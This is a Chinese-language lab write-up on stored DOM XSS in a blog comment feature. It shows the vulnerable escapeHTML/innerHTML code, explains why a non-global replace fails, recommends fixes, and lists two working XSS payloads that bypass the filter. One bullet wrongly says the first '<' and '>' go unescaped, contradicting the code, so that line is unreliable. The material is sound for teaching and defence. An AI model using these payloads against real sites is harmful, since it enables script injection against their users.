> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/stored-dom-xss.md).

# XSS DOM 存储型

### 存储型 DOM XSS

这个实验演示了一个存储在博客评论功能中的 DOM 漏洞。要完成实验，请利用该漏洞运行 `alert()` 函数。

如果你插入经典的 `脚本` 到评论区域：

```javascript
<script>alert(0)</script>
```

我们注意到该网站会删除评论的一部分。

<figure><img src="/files/3d50f9101ba9ff1fec294b4560f29769c64b42c1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/56478fd3b2ce41333975ebb2742344650fa7e0a0" alt=""><figcaption></figcaption></figure>

函数如下：

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* 该 `escapeHTML(HTML)` 该函数不会转义 **第一个** 出现的 `<` 和 `>` （使用 `replace` 很简单）。
* 由于代码随后使用 `innerHTML` 来插入值，恶意标签可以保留下来并被浏览器解释。
* 因此，过滤只对第一次匹配有效；后续出现仍然存在漏洞。

<figure><img src="/files/31d086390cf2ee6271d1f643db0e45de8ac86667" alt=""><figcaption></figcaption></figure>

* 使用全局替换（`replaceAll` 或全局正则表达式）来转义 **所有** 出现的 `<` 和 `>`.
* 避免使用 `innerHTML` 来处理不可靠的数据；应优先使用 `textContent` 或 `createTextNode`

<figure><img src="/files/dc885b47a4c250c8d4f9ae6033cb72ee93296287" alt=""><figcaption></figcaption></figure>

可利用的载荷

* 闭合并注入脚本：

```javascript
<><script>alert(0)</script>
```

* 强制图片错误以触发 `onerror：`

```javascript
<><img src=0 onerror=alert(0)>
```

这些载荷之所以有效，是因为只有少数字符被转换，而 `<`/`>` 的其他出现仍然可以被解释。

<figure><img src="/files/bf04e66853e23df2cb64d44fc64704b00d3eac41" alt=""><figcaption></figcaption></figure>


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